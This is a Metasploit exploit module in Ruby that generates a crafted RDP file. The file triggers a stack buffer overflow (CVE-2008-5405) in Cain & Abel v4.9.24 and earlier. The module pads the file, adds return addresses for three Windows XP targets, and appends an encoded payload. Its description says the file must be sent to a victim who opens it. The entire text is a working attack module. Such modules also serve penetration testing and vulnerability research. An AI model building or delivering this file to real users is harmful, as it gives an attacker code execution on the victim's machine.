Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GoodRanking

        include Msf::Exploit::FILEFORMAT

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Cain & Abel <= v4.9.24 RDP Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack-based buffer overflow in the Cain & Abel v4.9.24

                                and below. An attacker must send the file to victim, and the victim must open

                                the specially crafted RDP file under Tools -> Remote Desktop Password Decoder.

                        },

                        'License'        => MSF_LICENSE,

                        'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2008-5405' ],

                                        [ 'OSVDB', '50342' ],

                                        [ 'URL', 'http://www.milw0rm.com/exploits/7329' ],

                                        [ 'BID', '32543' ],

                                ],

                        'Payload'        =>

                                {

                                        'Space'    => 800,

                                        'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",

                                        'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,

                                        'StackAdjustment' => -3500,

                                },

                        'Platform' => 'win',

                        'Targets'        =>

                                [

                                        # Tested ok patrickw 20090503

                                        [ 'Windows XP SP2 English',         { 'Ret' => 0x7c82385d } ], #call esp

                                        [ 'Windows XP SP0/1 English',         { 'Ret' => 0x71ab7bfb } ], #jmp esp

                                        [ 'Windows XP SP2 Spanish',        { 'Ret' => 0x7c951eed } ], #jmp esp

                                ],

                        'Privileged'     => false,

                        'DisclosureDate' => 'Nov 30 2008',

                        'DefaultTarget'  => 0))

                register_options(

                        [

                                OptString.new('FILENAME', [ true, 'The file name.',  'exploit_cain.rdp']),

                        ], self.class)

        end

        def exploit

                filerdp = rand_text_alpha_upper(8206)

                filerdp << [target.ret].pack('V') + [target.ret].pack('V')

                filerdp << payload.encoded

                print_status("Creating '#{datastore['FILENAME']}' file ...")

                file_create(filerdp)

        end

end